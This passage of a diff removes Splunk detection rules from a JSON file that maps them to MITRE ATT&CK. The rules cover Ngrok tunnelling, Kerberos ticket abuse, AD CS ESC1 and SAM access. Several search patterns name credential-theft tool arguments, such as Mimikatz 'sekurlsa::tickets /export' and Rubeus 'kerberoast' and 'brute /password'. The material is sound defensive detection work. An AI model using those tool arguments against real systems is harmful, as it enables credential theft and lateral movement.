reverse proxy tool. It leverages the Network Resolution datamodel to identify queries to domains such as \"*.ngrok.com\" and \"*.ngrok.io\". While Ngrok usage is not inherently malicious, it has been increasingly adopted by adversaries for covert communication and data exfiltration. If confirmed malicious, this activity could allow attackers to bypass network defenses, establish persistent connections, and exfiltrate sensitive data, posing a significant threat to the network's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Resolution where DNS.query IN (\"*.ngrok.com\",\"*.ngrok.io\", \"ngrok.*.tunnel.com\", \"korgn.*.lennut.com\") by DNS.src DNS.query DNS.answer | `drop_dm_object_name(\"DNS\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ngrok_reverse_proxy_on_network_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Reverse Network Proxy" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An endpoint, $src$, is beaconing out to the reverse proxy service of Ngrok.", - "risk_score": 50, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1572", - "mitre_attack_technique": "Protocol Tunneling", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "FIN13", - "FIN6", - "Fox Kitten", - "Leviathan", - "Magic Hound", - "OilRig" - ] - }, - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1102", - "mitre_attack_technique": "Web Service", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT32", - "EXOTIC LILY", - "Ember Bear", - "FIN6", - "FIN8", - "Fox Kitten", - "Gamaredon Group", - "Inception", - "LazyScripter", - "Mustang Panda", - "Rocke", - "TeamTNT", - "Turla" - ] - } - ] - } + "technique_id": "T1572", + "technique": "Protocol Tunneling", + "tactic": [ + "command-and-control" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + "target_data_element": "remote code execution traffic" } ], "external_reference": [], @@ -313858,83 +223604,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" ] - }, - { - "name": "Control Loading from World Writable Directory", - "description": "The following analytic identifies instances of control.exe loading a .cpl or .inf file from a writable directory, which is related to CVE-2021-40444. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions mapped to the `Processes` node of the `Endpoint` data model. This activity is significant as it may indicate an attempt to exploit a known vulnerability, potentially leading to unauthorized code execution. If confirmed malicious, this could allow an attacker to gain control over the affected system, leading to further compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=control.exe OR Processes.original_file_name=CONTROL.EXE) AND Processes.process IN (\"*\\\\appdata\\\\*\", \"*\\\\windows\\\\temp\\\\*\", \"*\\\\programdata\\\\*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `control_loading_from_world_writable_directory_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Microsoft MSHTML Remote Code Execution CVE-2021-40444" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to load a suspicious file from disk.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.002", - "mitre_attack_technique": "Control Panel", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Ember Bear" - ] - } - ] - } } ], "external_reference": [ @@ -315022,62 +224691,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Windows Security Support Provider Reg Query", - "description": "The following analytic identifies command-line activity querying the registry for Security Support Providers (SSPs) related to Local Security Authority (LSA) protection and configuration. This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on processes accessing specific LSA registry paths. Monitoring this activity is crucial as adversaries and post-exploitation tools like winpeas may use it to gather information on LSA protections, potentially leading to credential theft. If confirmed malicious, attackers could exploit this to scrape password hashes or plaintext passwords from memory, significantly compromising system security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_reg` AND Processes.process = \"* query *\" AND Processes.process = \"*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\LSA*\" Processes.process IN (\"*RunAsPPL*\" , \"*LsaCfgFlags*\") by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_security_support_provider_reg_query_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Sneaky Active Directory Persistence Tricks", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "process with reg query command line $process$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.005", - "mitre_attack_technique": "Security Support Provider", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -316194,543 +225807,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/ad-ds-getting-started" ] - }, - { - "name": "aws detect sts get session token abuse", - "description": "The following analytic identifies the suspicious use of the AWS STS GetSessionToken API call. It leverages CloudWatch logs to detect instances where this API is invoked, focusing on fields such as source IP address, event time, user identity, and status. This activity is significant because attackers can use these tokens to move laterally within the AWS environment and escalate privileges. If confirmed malicious, this could lead to unauthorized access and control over AWS resources, potentially compromising sensitive data and critical infrastructure.", - "search": "`aws_cloudwatchlogs_eks` ASIA userIdentity.type=IAMUser| spath eventName | search eventName=GetSessionToken | table sourceIPAddress eventTime userIdentity.arn userName userAgent user_type status region | `aws_detect_sts_get_session_token_abuse_filter`", - "tags": { - "analytic_story": [ - "AWS Cross Account Activity" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect Activity Related to Pass the Hash Attacks", - "description": "This search looks for specific authentication events from the Windows Security Event logs to detect potential attempts at using the Pass-the-Hash technique. This search is DEPRECATED as it is possible for event code 4624 to generate a high level of noise, as legitimate logon events may also trigger this event code. This can be especially true in environments with high levels of user activity, such as those with many concurrent logons or frequent logon attempts.", - "search": "`wineventlog_security` EventCode=4624 (Logon_Type=3 Logon_Process=NtLmSsp NOT AccountName=\"ANONYMOUS LOGON\") OR (Logon_Type=9 Logon_Process=seclogo) | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by EventCode, Logon_Type, WorkstationName, user, dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_activity_related_to_pass_the_hash_attacks_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "EventCode", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "The following $EventCode$ occurred on $dest$ by $user$ with Logon Type 3, which may be indicative of the pass the hash technique.", - "risk_score": 49, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1550.002", - "mitre_attack_technique": "Pass the Hash", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT32", - "APT41", - "Chimera", - "FIN13", - "GALLIUM", - "Kimsuky", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Kerberos TGT Request Using RC4 Encryption", - "description": "The following analytic detects a Kerberos Ticket Granting Ticket (TGT) request using RC4-HMAC encryption (type 0x17) by leveraging Event 4768. This encryption type is outdated and its presence may indicate an OverPass The Hash attack. Monitoring this activity is crucial as it can signify credential theft, allowing adversaries to authenticate to the Kerberos Distribution Center (KDC) using a stolen NTLM hash. If confirmed malicious, this could enable unauthorized access to systems and resources, potentially leading to lateral movement and further compromise within the network.", - "search": " `wineventlog_security` EventCode=4768 TicketEncryptionType=0x17 ServiceName!=*$ | stats count min(_time) as firstTime max(_time) as lastTime by ServiceName src_ip dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `kerberos_tgt_request_using_rc4_encryption_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Kerberos TGT request with RC4 encryption was requested for $ServiceName$ from $src_ip$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Mimikatz PassTheTicket CommandLine Parameters", - "description": "The following analytic detects the use of Mimikatz command line parameters associated with pass-the-ticket attacks. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns related to Kerberos ticket manipulation. This activity is significant because pass-the-ticket attacks allow adversaries to move laterally within an environment using stolen Kerberos tickets, bypassing normal access controls. If confirmed malicious, this could enable attackers to escalate privileges, access sensitive information, and maintain persistence within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process = \"*sekurlsa::tickets /export*\" OR Processes.process = \"*kerberos::ptt*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `mimikatz_passtheticket_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "CISA AA22-320A", - "CISA AA23-347A", - "Sandworm Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "Mimikatz command line parameters for pass the ticket attacks were used on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1550.003", - "mitre_attack_technique": "Pass the Ticket", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "BRONZE BUTLER" - ] - } - ] - } - }, - { - "name": "Rubeus Command Line Parameters", - "description": "The following analytic detects the use of Rubeus command line parameters, a toolset for Kerberos attacks within Active Directory environments. It leverages Endpoint Detection and Response (EDR) data to identify specific command-line arguments associated with actions like ticket manipulation, kerberoasting, and password spraying. This activity is significant as Rubeus is commonly used by adversaries to exploit Kerberos for privilege escalation and lateral movement. If confirmed malicious, this could lead to unauthorized access, persistence, and potential compromise of sensitive information within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process = \"*ptt /ticket*\" OR Processes.process = \"* monitor /interval*\" OR Processes.process =\"* asktgt* /user:*\" OR Processes.process =\"* asktgs* /service:*\" OR Processes.process =\"* golden* /user:*\" OR Processes.process =\"* silver* /service:*\" OR Processes.process =\"* kerberoast*\" OR Processes.process =\"* asreproast*\" OR Processes.process = \"* renew* /ticket:*\" OR Processes.process = \"* brute* /password:*\" OR Processes.process = \"* brute* /passwords:*\" OR Processes.process =\"* harvest*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rubeus_command_line_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Privilege Escalation", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "Rubeus command line parameters were used on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1550.003", - "mitre_attack_technique": "Pass the Ticket", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "BRONZE BUTLER" - ] - }, - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.003", - "mitre_attack_technique": "Kerberoasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "FIN7", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1558.004", - "mitre_attack_technique": "AS-REP Roasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Rubeus Kerberos Ticket Exports Through Winlogon Access", - "description": "The following analytic detects a process accessing the winlogon.exe system process, indicative of the Rubeus tool attempting to export Kerberos tickets from memory. This detection leverages Sysmon EventCode 10 logs, focusing on processes obtaining a handle to winlogon.exe with specific access rights. This activity is significant as it often precedes pass-the-ticket attacks, where adversaries use stolen Kerberos tickets to move laterally within an environment. If confirmed malicious, this could allow attackers to bypass normal access controls, escalate privileges, and persist within the network, posing a severe security risk.", - "search": " `sysmon` EventCode=10 TargetImage=C:\\\\Windows\\\\system32\\\\winlogon.exe (GrantedAccess=0x1f3fff) (SourceImage!=C:\\\\Windows\\\\system32\\\\svchost.exe AND SourceImage!=C:\\\\Windows\\\\system32\\\\lsass.exe AND SourceImage!=C:\\\\Windows\\\\system32\\\\LogonUI.exe AND SourceImage!=C:\\\\Windows\\\\system32\\\\smss.exe AND SourceImage!=C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe) | stats count min(_time) as firstTime max(_time) as lastTime by dest, SourceImage, SourceProcessId, TargetImage, TargetProcessId, EventCode, GrantedAccess | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `rubeus_kerberos_ticket_exports_through_winlogon_access_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "TargetImage", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "Winlogon.exe was accessed by $SourceImage$ on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1550.003", - "mitre_attack_technique": "Pass the Ticket", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "BRONZE BUTLER" - ] - } - ] - } - }, - { - "name": "Unknown Process Using The Kerberos Protocol", - "description": "The following analytic identifies a non-lsass.exe process making an outbound connection on port 88, which is typically used by the Kerberos authentication protocol. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and network traffic logs. This activity is significant because, under normal circumstances, only the lsass.exe process should interact with the Kerberos Distribution Center. If confirmed malicious, this behavior could indicate an adversary attempting to abuse the Kerberos protocol, potentially leading to unauthorized access or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name!=lsass.exe by _time Processes.process_id Processes.process_name Processes.dest Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | join process_id dest [| tstats `security_content_summariesonly` count FROM datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port = 88 by All_Traffic.src All_Traffic.process_id All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | rename src as dest ] | table _time dest parent_process_name process_name process_path process process_id dest_port | `unknown_process_using_the_kerberos_protocol_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Unknown process $process_name$ using the kerberos protocol detected on host $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Steal Authentication Certificates - ESC1 Authentication", - "description": "The following analytic detects when a suspicious certificate with a Subject Alternative Name (SAN) is issued using Active Directory Certificate Services (AD CS) and then immediately used for authentication. This detection leverages Windows Security Event Logs, specifically EventCode 4887, to identify the issuance and subsequent use of the certificate. This activity is significant because improperly configured certificate templates can be exploited for privilege escalation and environment compromise. If confirmed malicious, an attacker could gain unauthorized access, escalate privileges, and potentially compromise the entire environment.", - "search": "`wineventlog_security` EventCode IN (4887) Attributes=\"*SAN:*upn*\" Attributes=\"*CertificateTemplate:*\" | stats count min(_time) as firstTime max(_time) as lastTime values(name) as name values(status) as status values(Subject) as ssl_subject values(SubjectKeyIdentifier) as ssl_hash by Computer, EventCode, Requester, Attributes, RequestId | rex field=Attributes \"(?i)CertificateTemplate:(?[^\\r\\n]+)\" | rex field=Attributes \"(?i)ccm:(?[^\\r\\n]+)\" | rex max_match=10 field=Attributes \"(?i)(upn=(?[^\\r\\n&]+))\" | rex max_match=10 field=Attributes \"(?i)(dns=(?[^\\r\\n&]+))\" | rex field=Requester \"(.+\\\\\\\\)?(?[^\\r\\n]+)\" | rename Attributes as object_attrs, EventCode as signature_id, name as signature, RequestId as ssl_serial, Requester as ssl_subject_common_name | eval user = lower(coalesce(req_user_1,req_user_2)) | join user [ | search `wineventlog_security` EventCode=4768 CertThumbprint=* | rename TargetUserName as user, Computer as auth_dest, IpAddress as auth_src | fields auth_src,auth_dest,user ] | eval src = upper(coalesce(auth_src,req_src)), dest = upper(coalesce(auth_dest,req_dest_1,req_dest_2)), risk_score = 90 | eval flavor_text = case(signature_id==\"4887\", \"User account [\".'user'.\"] authenticated after a suspicious certificate was issued for it by [\".'src_user'.\"] using certificate request ID: \".'ssl_serial') | fields - req_* auth_* | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_steal_authentication_certificates___esc1_authentication_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "ssl_hash", - "type": "Other", - "role": [ - "Attacker" - ] - }, - { - "name": "ssl_serial", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible AD CS ESC1 authentication on $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -321467,139 +230543,6 @@ "platform": [ "PRE" ] - }, - { - "name": "Kerberos User Enumeration", - "description": "The following analytic detects an unusual number of Kerberos Ticket Granting Ticket (TGT) requests for non-existing users from a single source endpoint. It leverages Event ID 4768 and identifies anomalies using the 3-sigma statistical rule. This behavior is significant as it may indicate an adversary performing a user enumeration attack against Active Directory. If confirmed malicious, the attacker could validate a list of usernames, potentially leading to further attacks such as brute force or credential stuffing, compromising the security of the environment.", - "search": " `wineventlog_security` EventCode=4768 Status=0x6 TargetUserName!=\"*$\" | bucket span=2m _time | stats dc(TargetUserName) AS unique_accounts values(TargetUserName) as tried_accounts by _time, src_ip | eventstats avg(unique_accounts) as comp_avg , stdev(unique_accounts) as comp_std by src_ip | eval upperBound=(comp_avg+comp_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | search isOutlier=1| `kerberos_user_enumeration_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Reconnaissance" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential Kerberos based user enumeration attack $src_ip$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1589", - "mitre_attack_technique": "Gather Victim Identity Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "APT32", - "FIN13", - "HEXANE", - "LAPSUS$", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1589.002", - "mitre_attack_technique": "Email Addresses", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "APT32", - "EXOTIC LILY", - "HAFNIUM", - "HEXANE", - "Kimsuky", - "LAPSUS$", - "Lazarus Group", - "Magic Hound", - "Sandworm Team", - "Silent Librarian", - "TA551" - ] - } - ] - } - }, - { - "name": "Windows Gather Victim Identity SAM Info", - "description": "The following analytic detects processes loading the samlib.dll or samcli.dll modules, which are often abused to access Security Account Manager (SAM) objects or credentials on domain controllers. This detection leverages Sysmon EventCode 7 to identify these DLLs being loaded outside typical system directories. Monitoring this activity is crucial as it may indicate attempts to gather sensitive identity information. If confirmed malicious, this behavior could allow attackers to obtain credentials, escalate privileges, or further infiltrate the network.", - "search": "`sysmon` EventCode=7 (ImageLoaded = \"*\\\\samlib.dll\" AND OriginalFileName = \"samlib.dll\") OR (ImageLoaded = \"*\\\\samcli.dll\" AND OriginalFileName = \"SAMCLI.DLL\") AND NOT (Image IN(\"C:\\\\Windows\\\\*\", \"C:\\\\Program File*\", \"%systemroot%\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded process_name dest EventCode Signed ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_gather_victim_identity_sam_info_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Reconnaissance" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $dest$ that loads $ImageLoaded$ that are related to accessing to SAM object information.", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1589.001", - "mitre_attack_technique": "Credentials", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Chimera", - "LAPSUS$", - "Leviathan", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1589", - "mitre_attack_technique": "Gather Victim Identity Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "APT32", - "FIN13", - "HEXANE", - "LAPSUS$", - "Magic Hound" - ] - } - ] - } } ], "external_reference": [], @@ -322869,463 +231812,6 @@ "references": [ "https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html" ] - }, - { - "name": "Processes created by netsh", - "description": "This search looks for processes launching netsh.exe to execute various commands via the netsh command-line utility. Netsh.exe is a command-line scripting utility that allows you to, either locally or remotely, display or modify the network configuration of a computer that is currently running. Netsh can be used as a persistence proxy technique to execute a helper .dll when netsh.exe is executed. In this search, we are looking for processes spawned by netsh.exe that are executing commands via the command line. Deprecated because we have another detection of the same type.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=netsh.exe by Processes.user Processes.dest Processes.parent_process Processes.parent_process_name Processes.process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `processes_created_by_netsh_filter`", - "tags": { - "analytic_story": [ - "Netsh Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - 